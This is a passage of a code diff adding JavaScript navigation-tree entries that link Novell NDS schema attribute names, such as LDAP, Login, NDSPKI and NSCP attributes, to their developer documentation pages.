+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP Enable UDP ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1396.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP Group ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1402.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP Host Server ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1408.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP Log Filename ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1414.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP Log Level ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1420.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP Log Size Limit ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1426.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP Referral ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1432.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP Screen Level ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1438.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP Search Size Limit ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1444.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP Search Time Limit ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1450.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP Server ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1456.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP Server Bind Limit ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1462.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP Server Idle Timeout ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1468.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP Server List ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1474.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP SSL Port ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1480.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP Suffix ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1486.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP TCP Port ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1492.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP UDP Port ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1498.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP:bindCatalog ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1516.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP:bindCatalogUsage ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1522.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP:keyMaterialName ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1546.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP:otherReferralUsage ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1552.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP:searchCatalog ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1558.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP:searchCatalogUsage ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1564.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP:searchReferralUsage ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1570.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Locked By Intruder ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1576.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Lockout After Detection ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1582.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Login Allowed Time Map ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1588.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Login Disabled ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1594.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Login Expiration Time ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1600.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Login Grace Limit ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1606.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Login Grace Remaining ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1612.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Login Intruder Address ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1618.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Login Intruder Attempts ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1624.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Login Intruder Limit ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1630.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Login Intruder Reset Time ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1636.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Login Maximum Simultaneous ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1642.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Login Script ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1648.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Login Time ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1654.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Low Convergence Reset Time ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1660.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Low Convergence Sync Interval ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1666.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Mailbox ID ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1672.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Mailbox Location ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1678.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("manager ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a3onljj.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("masvAuthorizedRange ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1684.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("masvDefaultRange ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1690.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("masvDomainPolicy ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1696.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("masvLabel ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1702.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("masvProposedLabel ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1708.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Member ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1726.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Members Of Template ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1732.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Memory ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1738.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Message Routing Group ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1744.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Message Server ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1750.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Messaging Database Location ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1756.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Messaging Server ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1762.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink(" ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1768.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Minimum Account Balance ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1786.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("mobile ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a3oojmc.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:Certificate Chain ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4104.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:Given Name ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4110.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:Key File ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4116.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:Key Material DN ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4122.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:Keystore ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a2oknqe.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:Not After ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a2oknpk.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:Not Before ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a2oknpe.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:Parent CA ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4128.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:Parent CA DN ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4134.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:Private Key ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4140.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:Public Key ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4146.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:Public Key Certificate ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4152.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:SD Key Cert ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a2oknq2.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:SD Key ID ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a2oknq8.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:SD Key Server DN ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a2oknpq.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:SD Key Struct ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a2oknpw.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:Subject Name ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4158.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:Tree CA DN ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4164.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:Trusted Root Certificate ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a2oknp8.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:userCertificateInfo ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a2oknp2.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Network Address ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4170.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Network Address Restriction ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4176.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("New Object's DS Rights ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4182.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("New Object's FS Rights ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4188.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("New Object's Self Rights ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4194.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NNS Domain ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4338.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Notify ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4374.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:administratorContactInfo ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4392.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:adminURL ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4398.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:AmailAccessDomain ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4404.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:AmailAlternateAddress ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4410.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:AmailAutoReplyMode ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4416.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:AmailAutoReplyText ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4422.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:AmailDeliveryOption ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4428.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:AmailForwardingAddress ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4434.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:AmailHost ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4440.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:AmailMessageStore ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4446.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:AmailProgramDeliveryInfo ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4452.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:AmailQuota ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4458.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:AnsLicenseEndTime ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4464.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:AnsLicensedFor ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4470.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:AnsLicenseStartTime ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4476.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:employeeNumber ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4482.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:installationTimeStamp ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4488.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:mailRoutingAddress ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a2ixy4e.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:memberCertificateDesc ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4554.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:mgrpRFC822mailmember ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4560.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:ngcomponentCIS ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4572.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:nsaclrole ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4578.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:nscreator ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4584.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:nsflags ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4590.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:nsnewsACL ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4614.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:nsprettyname ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4620.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:serverHostName ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4626.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:serverProductName ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4632.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:serverRoot ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4638.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
